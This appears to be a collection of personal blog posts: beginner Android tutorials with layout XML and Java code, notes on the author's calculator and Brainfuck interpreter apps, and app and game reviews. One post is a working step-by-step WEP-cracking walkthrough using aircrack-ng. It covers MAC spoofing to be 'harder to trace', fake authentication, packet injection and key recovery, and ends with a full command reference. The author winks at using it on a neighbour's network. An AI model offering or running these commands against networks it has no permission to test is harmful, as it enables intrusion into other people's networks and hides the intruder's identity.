Developing for Android, Part II
Again, originally written for </dream.in.code> but I like to add this stuff to my blog as well. :)
Basic Layouts and Events
Now that we got the basics done, it’s time to get into developing our first app. It’s not the most impressive application, but it’s a great starting point.
This will most likely seem very familiar if you’ve learned programming on the console in the past. We’re going to prompt for a name, and display a customised message. However, we’ll have a user interface rather than printing on the console. :)
We’re going to start with the XML. We need a layout which we can program around.
Step 0: Creating the project
So we’re on the same wavelength, let’s use the same project name, package, etc.
Step 1: Putting the UI XML together
I’ll run through this one element at a time. it’s all really simple, and you should recognise a lot of this from part 1.
To start, remember, it’s XML:
< ?xml version="1.0" encoding="utf-8"?>We’re going to use a linear layout, which fills the parent and has a vertical layout (again)
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" ></linearlayout>
Next, we’re going to the first TextView. Remember, the TextView is like a “Label”, from .NET. At this point, all we need to do is set the width, height, and set the text. This time, we’re just going to use a static string, rather than linking into the ./res/values/strings.xml file.
<textview android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Enter your name:" />
The next thing we need in our LinearLayout is an EditText. This is basically a TextBox.
<edittext android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/txt_name" />
Only one new thing here, we give it an ID. We need to give it an ID so that we can reference it in the actual Java application.
android:id=”@+id/txt_name” — I’ll call it txt_name, I like to prefix my widgets so they’re easier to remember and reference later on.
Only two things left now: The Button, and the TextView. Nothing new in either of these now.
<button android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/btn_confirm" android:text="Confirm~" /> <textview android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/tv_welcome" />
Note that we don’t set the android:text attribute in the final TextView? That’s because we’re going to give it its text when the user presses the “Confirm” button. (btn_confirm)
Lastly, we just need to close off our layout:
Step 2: Bringing it all together in Java
This time we’re going to write our own Java. We’re going to use multiple inheritance (don’t be put off, it’s really very simple) so that we can make our class both an Activity (the main application) and an OnClickListener (to listen for clicks on the button)
First up, remember we’re working on a package:
package dreamincode.tutorials.part_two;
Next, we’re going to import some stuff. The first two are nothing new:
import android.app.Activity; import android.os.Bundle;
Remember we used both of these in part 1.
This is where it gets interesting, though. We’re going to import three widgets.
import android.widget.TextView; import android.widget.EditText; import android.widget.Button;
I won’t explain them… hopefully your memory is good enough to remember that we used these names in the XML layout earlier. :)
The next two will take a little explaining.
import android.view.View; import android.view.View.OnClickListener;
- We import the View because that’s the parameter which our onClick event requires.
- We import the OnClickListener because, well… we want our Activity to be an OnClickListener, too.
This is where the multiple inheritance comes in. We’re calling our class dic_tut2, and it’s going to extend Activity, just like we did in part 1. It’s also going to implement OnClickListener because we’re going to be listening for clicks on the button.
public class dic_tut2 extends Activity implements OnClickListener {
Now it’s time for the onCreate method. Just like we did in part 1, only with a few extra lines (explained afterwards!)
/** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Button b = (Button)this.findViewById(R.id.btn_confirm); b.setOnClickListener(this); }
Specifically, the last two lines are the new ones. We’re going to create a Button from R.id.btn_confirm (remember, that’s the ID we used in the XML!) Then we’re simply going to set this as the onClickListener for said button. Simple stuff, eh? :)
NOTE: We need to cast the return value of findViewById() to a Button, by default it will return a View.
The very last thing we need to do is set our onClick method: the one which is called when the user clicks the button (after we set this as the OnClickListener for said button!)
@Override
public void onClick(View v) {
TextView tv = (TextView)this.findViewById(R.id.tv_welcome);
EditText et = (EditText)this.findViewById(R.id.txt_name);
String text = "Hello, " + et.getText().toString() + ".\n\n";
text += "Welcome to android development. :)";
tv.setText(text);
}Note that we use findViewById() again to get the TextView for which we’re going to set the text, and also the EditText which contains the user’s name. Then, all we do is create our string (I hope this is nothing new!) and simply setText() on our TextView which displays the final message.
Don’t forget to close off your class!
}Finally, here’s the complete code. dic_tut2.java:
package dreamincode.tutorials.part_two; import android.app.Activity; import android.os.Bundle; import android.widget.TextView; import android.widget.EditText; import android.widget.Button; import android.view.View; import android.view.View.OnClickListener; public class dic_tut2 extends Activity implements OnClickListener { /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); Button b = (Button)this.findViewById(R.id.btn_confirm); b.setOnClickListener(this); } @Override public void onClick(View v) { TextView tv = (TextView)this.findViewById(R.id.tv_welcome); EditText et = (EditText)this.findViewById(R.id.txt_name); String text = "Hello, " + et.getText().toString() + ".\n\n"; text += "Welcome to android development. :)"; tv.setText(text); } }
And the layout, main.xml:
< ?xml version="1.0" encoding="utf-8"?> <linearlayout xmlns:android="http://schemas.android.com/apk/res/android" android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent" > <textview android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="Enter your name:" /> <edittext android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/txt_name" /> <button android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/btn_confirm" android:text="Confirm~" /> <textview android:layout_width="fill_parent" android:layout_height="wrap_content" android:id="@+id/tv_welcome" /> </linearlayout>
Enjoy! :)
Developing for Android, Part I
I originally wrote this tutorial for </dream.in.code>, but I like to get my tutorials around a bit.
Welcome to Android.
We hope you enjoy your stay.
So, first off, a bit of an introduction. This is the first part of (hopefully) many tutorials related to the android platform. In this tutorial, we’re only going to cover the very basics: how to design your application, and how to utilise the XML layouts to design your user interface.
Since this series of tutorials is more directed at the code, I’m not going to cover setup & installation. Instead, here’s a link to get yourself set up with the SDK and an emulator.
Personally, I’ve never really been a huge fan of Java. And when I first tried Android, I wasn’t too keen. But it’s come a long way since it was first released. Once you get into the android SDK, it begins to get really interesting. Plus, the idea of earning a little bit of cash on the side for designing a little app for your phone has quite a nice appeal. :)
The market
The market is awesome. It’s extremely easy to release and update your applications, and I’ll be writing a tutorial all about publishing your apps, how to sign them, how to create a jar keystore, all the fun stuff.
Get started already!!1!one!
Okay. Enough intro, let’s get to some development! :)
…sorry. No programming yet. We’re going to be reading the project template, and I’ll be explaining it line for line. It’s best to take this stuff slow at first, because it’s so different to a lot of “regular” projects. But at least there’s code! :)
Create a project, you can call it anything, but I’m going to be following this structure along the series of tutorials:
layout.xml
The layout.xml is… sorta important. It’s a great way to design your user interfaces, but it’s not always necessary: you can create your interfaces through pure Java, which is personally my preferred method… but it’s still good to know how to use the xml layouts. They help to keep the code for your activity more organised. (Coming from a C++/wxWidgets background, I’m in the habit of creating my programs through pure code, you may prefer the XML process)
Right. Enough rambling. I’ve analysed the ./res/layout/main.xml, and broken it up, line by line.
yep: we just use standard XML to declare the layout:
< ?xml version="1.0" encoding="utf-8"?>We use a LinearLayout to define our layout as being, well… linear:
<linearlayout xmlns:android="http://schemas.android.com/apk/res/android"Next up, we have some properties:
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"Note the three properties:
android:orientation — which direction the layout is filled. Contrary to what you may think, this isn’t based on the angle of the phone. Using “vertical” simply means “add widget number 2 below widget number 1, add widget number 3 below widget number 2, … add widget number n below widget number n-1″. :)
android:layout_width — the width of the object. We’re going to use “fill_parent” to fill the width of the screen
android:layout_height — the height of the object. We’re going to use “fill_parent” again, to fill the height of the screen.
Lastly, we’re going to close the LinearLayout item. Note we want more items inside the LinearLayout, so we’re just going to use > instead of />
>
Next, we’re going to define a TextView. The TextView is like a Label in .NET, or a wxStaticText in wxWidgets. It basically puts a static piece of text on the screen.
<textview android:layout_width="fill_parent" android:layout_height="wrap_content" android:text="@string/hello" />
You’ll notice it’s pretty similar to how we defined the LinearLayout. Differences:
android:layout_height=”wrap_content” — the TextView will be resized according to the text it displays. The longer the string, the taller the View.
android:text=”@string/hello” — the string to display. @string refers to the ./res/values/strings.xml file. (More on this later)
/> — this time, we’re not putting any other items inside it, so we can close it off XML stylee. We could just as easily use
<textview ... ></textview>but it seems a little pointless here. :)
Since that’s all we want in the LinearLayout, we’re going to close our layout off:
strings.xml
This one's much simpler. Put simply, this file contains strings which are built in to the application at compile time. Note the hello string, which we referenced in our TextView in ./res/layout/main.xml
< ?xml version="1.0" encoding="utf-8"?> <resources> <string name="hello">Hello World, dic_tut1!</string> <string name="app_name">dic_tut1</string> </resources>
The Java!
Lastly, we're going to put our layout together in the code. I've commented this bit up, so it's easy for you to understand.
package dreamincode.tutorials.part_one; import android.app.Activity; // Activity: the "main" part of the application import android.os.Bundle; // Bundle: stores a "saved state" for your app to remember how it was when moved to the background public class dic_tut1 extends Activity { // inheriting the Activity class /** Called when the activity is first created. */ @Override public void onCreate(Bundle savedInstanceState) { // consider this the "entry point" (main) of your application super.onCreate(savedInstanceState); // call the super to restore the state (does the work for you) setContentView(R.layout.main); // set the main content view to ./res/layout/main.xml } }
That's all for now!
There's obviously more to it than this, things such as the AndroidManifest.xml file, but I'm not going to go into that now. We'll dive into that as and when we need it, it's really rather trivial and honestly nothing to worry about. :)
SmartCalc for Android
SmartCalc is my first “proper” app, and I’m quite proud of it.
Scan barcode to download:
The UI is split across three tabs (similar to brainfuck) but the app itself is totally different.
First Tab: Formulas
The first tab lists all your formulas, which are conveniently stored in a database on your phone. Here, you can save, modify and delete your formulas. If you select one, you will be flicked to the second tab, to enter the variables required for calculation. You can also long press on an item in this tab and tap “share” to make it available online. It then gets queued for approval by yours truly, and, if approved, it will appear in the “online formulas” tab. (More on this later)
Second Tab: Calculation
This is the main tab in the application. Once you have selected a formula, the contents of this tab are dynamically created so that you can enter whichever variables you need. For example, for the formula eff = (746 x HP)/(1.732 x V x A x PF), you will be faced with 4 textboxes, to enter HP, V, A and F. Once you have entered all the values, simply hit the calculate button and the app will parse the equation, filling in any variables with the values you entered, and spit out the total at the bottom of the tab.
Third Tab: Online Formulas
This one’s quite similar to the first tab. Here, you can tap a formula to load it into the second tab, or you can long press an item and save it. These formulas come from a database which I store on my server, and are only visible if I approve them.

My First Android App: Brainfuck
My first app!
** EDIT: Just realised input doesn’t work: It brings up the input dialog, but I forgot to save it anywhere! Guess I was a little too excited to get publishing ;). I’ll try to find time to fix it tomorrow! Apologies! **
Okay, so it’s not gonna get a very good rating… it’s not very attractive, and I really don’t think many people are going to understand Brainfuck.
That said, it was a fun little app to write… and I must admit, I really didn’t give the android SDK a fair chance. (Mind, it’s changed a hell of a lot since I first tried it back when android was first released to the general public!)
Code for the app, broken into two parts: (the activity and the layout)
First off, the main code for the Java activity:
package gabehabe.brainfuck; import android.app.TabActivity; import android.os.Bundle; import android.widget.TabHost; import android.widget.EditText; import android.widget.TextView; import android.text.InputFilter; import android.app.AlertDialog; import android.content.DialogInterface; import android.widget.TabHost.OnTabChangeListener; public class Brainfuck extends TabActivity implements OnTabChangeListener { String input; TabHost tabs; @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.main); this.tabs = getTabHost(); tabs.addTab(tabs.newTabSpec("tab_code").setIndicator("Code").setContent(R.id.code)); tabs.addTab(tabs.newTabSpec("tab_run").setIndicator("Run").setContent(R.id.interpreted)); tabs.addTab(tabs.newTabSpec("tab_help").setIndicator("Help").setContent(R.id.help)); tabs.setOnTabChangedListener(this); tabs.setCurrentTab(0); } @Override public void onTabChanged(String label) { if(label == "tab_run") { final Brainfuck bf = this; final TextView interpreted = (TextView)this.findViewById(R.id.interpreted); interpreted.setText(""); final EditText edt = (EditText)this.findViewById(R.id.code); String t = edt.getText().toString(); int bytes_pos = 0; int loop_pos = -1; char [] bytes = new char[300]; // initialise and make sure everything's 0 for(int i = 0; i < 300; i++) { bytes[i] = 0; } for(int i = 0; i < t.length(); i++) { switch(t.charAt(i)) { case '+': ++bytes[bytes_pos]; break; case '-': --bytes[bytes_pos]; break; case '>': ++bytes_pos; break; case '< ': --bytes_pos; break; case '.': StringBuffer b = new StringBuffer(); b.append(interpreted.getText()).append(bytes[bytes_pos]); interpreted.setText(b.toString()); break; case ',': AlertDialog.Builder alert = new AlertDialog.Builder(this); alert.setTitle("Enter Character"); alert.setMessage("Program is requesting input!"); // Set an EditText view to get user input final EditText input = new EditText(this); InputFilter[] FilterArray = new InputFilter[1]; FilterArray[0] = new InputFilter.LengthFilter(1); input.setFilters(FilterArray); alert.setView(input); alert.setPositiveButton("OK", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { bf.input = input.getText().toString(); } }); alert.setNegativeButton("Cancel", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int whichButton) { bf.input = ""; } }); alert.show(); break; case '[': loop_pos = i; break; case ']': if (loop_pos != -1) { if(bytes[bytes_pos] == 255) { // stupid java... ¬_¬ bytes[bytes_pos] = 0; } if (bytes[bytes_pos] != 0) { i = loop_pos; } else { loop_pos = -1; } } break; } } } } }
And now the code for the actual layout (XML format)
< ?xml version="1.0" encoding="utf-8"?> <tabhost xmlns:android="http://schemas.android.com/apk/res/android" android:id="@android:id/tabhost" android:layout_width="fill_parent" android:layout_height="fill_parent"> <linearlayout android:orientation="vertical" android:layout_width="fill_parent" android:layout_height="fill_parent"> <tabwidget android:id="@android:id/tabs" android:layout_width="fill_parent" android:layout_height="wrap_content" /> <framelayout android:id="@android:id/tabcontent" android:layout_width="fill_parent" android:layout_height="fill_parent"> /* tab 1 -- code entry */ <edittext android:id="@+id/code" android:layout_width="fill_parent" android:layout_height="fill_parent" android:background="@android:drawable/editbox_background" /> /* tab 2 -- run */ <scrollview xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent"> <textview android:id="@+id/interpreted" android:layout_width="fill_parent" android:layout_height="fill_parent" /> </scrollview> /* tab 3 -- help */ <scrollview xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="fill_parent" android:layout_height="fill_parent"> <textview android:id="@+id/help" android:layout_width="fill_parent" android:layout_height="fill_parent" android:text="@string/help" /> </scrollview> </framelayout> </linearlayout> </tabhost>
I'll no doubt be adding stuff, a menu for snippets, perhaps saving files and stuff... all good fun. Watch this space! :)
Google Android: Games by Square Enix
At the time of writing this article, there are currently three apps on the android market by Square Enix. I’ve just bought, and tested, each one, just to write about them here, for you. So I hope you appreciate it. :)
The three games that I’m going to discuss in this article are:
Arkanoid – A clone of the original
Space Invaders – If you don’t remember this, you’re most likely incapable of reading this entry anyway.
And a third, which is very different. I’ll reserve any information until the end of this entry, but just know that it’s called Puzzle Bobble, and I like it a lot.
To start off, I’ll summarise Arkanoid and Space Invaders together: crap. Honestly, I would’ve expected great things, especially after Square-Enix released Space Invaders Extreme a little while back. (Screenshot borrowed from IGN.)

But no such luck. :( They’re literally exact clones of the original games, complete with the terrible graphics. Granted, it’s nice to reminisce, but I’d rather reminisce in front of a ROM on an emulator than playing in a tiny window with a huge border, and paying a few quid to do it. The exact same goes for Arkanoid. A couple of quick screenshots,


Pretty disappointing, huh? :(
Now, it’s not all so bad. I’ve been playing Puzzle Bobble a bit, and it’s quite a nice game. Completely different to the Arkanoid and Space Invaders clones, frankly I find it hard to even believe that they were written by Square Enix. :(
But, onto the positive. While it’s the most expensive game that Square Enix currently offer on the Android market, it’s a great one. The graphics are nice, and it’s actually really cute ^__^ (similar style to Yosumin, which is completely unrelated to this post, but just to give you an idea!)
The idea is similar to a game I used to play on Sky games about a decade ago, with bees. I forget the name, so this isn’t really going to help you to get an idea of what the game is. It’s one of those games where you have bubbles at the top, and you have to shoot differently coloured bubbles to match them. If you get 3 or more in a row, they will chain and fall, dropping anything which is attached to them. Screenshots are more descriptive.


Android + WordPress: wpToGo
After searching around a bit on androlib, I found a few apps for content management for wordpress. However, they’re all pretty crap: apart from one. wpToGo. It’s very minimalist, yet effective. The simple UI will have you ready to start blogging in less than a minute. As well as post editing and publishing, it offers comment moderation, and of course, drafts and image attachments. Win!
The only problem I have with it is that I can’t add new categories. I still need to log in the web UI for that, which is why this post is going in General. :\
Edit, it even has post previews! It doesn’t auto-format line breaks though. :-(
How to crack WEP
This article explains how to crack WEP. Of course, it’s illegal to crack your neighbour’s network key without their permission, but this is for the… penetration testers among us. ^_-
Prerequisites:
- A compatible wireless card – you need a card capable of injecting packets.
- Patience! This process can be sped up with a good signal, but speeding it all up can sometimes fail. If it’s slow, it can take a few days, but we can do it in ~15 minutes with the right kit.
- This tutorial covers cracking WEP from a Linux distro. I recommend using BackTrack, since it has all the tools that you’ll need. If you’re going to be using a different distro, you’re going to need to download the aircrack-ng suite, and I also recommend downloading
macchanger
If you’re downloading aircrack-ng yourself, open up a terminal and type:
sudo apt-get install aircrack-ng macchangerOnce you have these tools, we’re ready to rock! Let’s get started.
First off, start by typing su into the terminal. While not necessary, since you can use sudo on each command, it’ll save you typing a little in each command. :-)
Step 1: Finding your wireless interface
The first thing we need to do is find the name of your wireless interface. For me, it’s wlan0, but it can vary. For example, yours might be ath0. We can find the name by simply typing iwconfig into the terminal. From here on in, wherever you see (interface), replace it with your interface name.
Step 2: Putting your wireless interface into monitor mode
To put your wireless card into monitor mode, you first need to stop it. While we’re at it, let’s spoof our MAC address. (This makes commands easier to type since you don’t need to remember your MAC address, and also harder to trace) Lastly, we’ll start airmon-ng on it. We do this using the following commands:
airmon-ng stop (interface)
ifconfig (interface) down
iwconfig (interface) mode monitor
macchanger -m 00:11:22:33:44:55 (interface)
airmon-ng start (interface) Would you believe that that’s half the commands done already? :-) The process itself is rather simple thanks to aircrack.
Step 3: Finding the access point you wish to crack
So now that we’re in monitor mode, we need to find the network we want to crack. To do this, type airodump-ng (interface) into your terminal. You should see a list with lots of numbers and stuff appearing. Note down the BSSID, and the Channel. We’ll be needing these to help aircrack identify the network. You should be able to identify the AP you want to crack by the ESSID, and hopefully a good PWR rate of around -30. From here on in, replace (bssid) with the BSSID of the network, and (channel) with the channel of the network in each command. Once you’re ready, hit Ctrl+C to close airodump. We’re now going to run airodump again, specifically to monitor this AP to capture the information we need.
airodump-ng --bssid (bssid) -c (channel) --ivs -w dumpfileStep 4: Speeding it all up
The information that we’re capturing is under the #Data column. Notice how slowly it comes in? The average for me, though it varies, is around 2 per minute. Since we need at least 10,000 to crack a WEP key successfully, it could take some time. To speed things up a bit, we’re going to fake auth on the network, and then attack directly. We can do this in two steps. First off, open up a new terminal. We need to leave airodump-ng running in this terminal until we have enough #Data to crack the key. In your new terminal session, run the following command:
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 (interface)This is to fake auth with the network. There are many methods of speeding this up, but this is my favourite, since it doesn’t require any other users to be on the network when you’re cracking it. If successful, you should see that reassuring smiley face :-)
Provided that you succeeded in fake authing with the network, we can proceed with the attack.
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)After a few moments, you should see the #Data column start to increase fairly quickly.
Step 5: Cracking the key
Lastly, once you have around 10,000 #Data in airodump, open up a third terminal, and type the following:
aircrack-ng --bssid (bssid) dumpfile-01.capYou’ll see it trying thousands of keys on the network, until it finds one. If it fails, simply leave it running and it will try again once airodump picks up another 5,000 #Data.
When you finally see aircrack-ng say Success! Key: 00:00:00:00:00:00:00:00, make a note of the key and close all the windows. You can enter this key into the connect screen directly, without the colons, and you’ll be on the network.
Apologies if I haven’t been too clear – it’s been a while since I blogged. :-) If you have any problems, please leave a comment and I’ll do my best to help you.
Also, remember this is illegal if you don’t have permission. Though I can’t stop you. ^_-
In summary, here’s a reference of all the commands that you’ll need:
# apt-get install macchanger aircrack-ng
# find interface in iwconfig
# stop the interface
airmon-ng stop (interface)
ifconfig (interface) down
# put the interface into monitor mode
iwconfig (interface) mode monitor
# spoof the mac
macchanger -m 00:11:22:33:44:55 (interface)
# start monitoring
airmon-ng start (interface)
# find the bssid and channel with airodump-ng (interface)
# start monitoring the AP and dump #data to file (dumpfile)
airodump-ng (interface) –bssid (bssid) -c (channel) -w (dumpfile)
# associate with the AP – make it spew out lots of #data :-)
aireplay-ng -1 0 -a (bssid) -h 00:11:22:33:44:55 (interface)
aireplay-ng -3 -b (bssid) -h 00:11:22:33:44:55 (interface)
# crack the IVs
aircrack-ng -b (bssid) (dumpfile-01.cap)
A Fresh Start
So here we are again. :\
Those of you who know me should know by now that I’ve had a whole bunch of blogs in the past, very few of which lasted very long. But this one’s gonna be different! I’ve finally decided to put gabehabe.com to use, and write a blog, mainly driven around programming, but it’ll probably contain a whole bunch of rants, too. Like how Apple suck.
I’m actually gonna get to work on my first proper entry for this already, about cracking WEP. Yeah, nice start to a blog, right?
By the way, WordPress is simple but fucking confusing as hell at the same time.
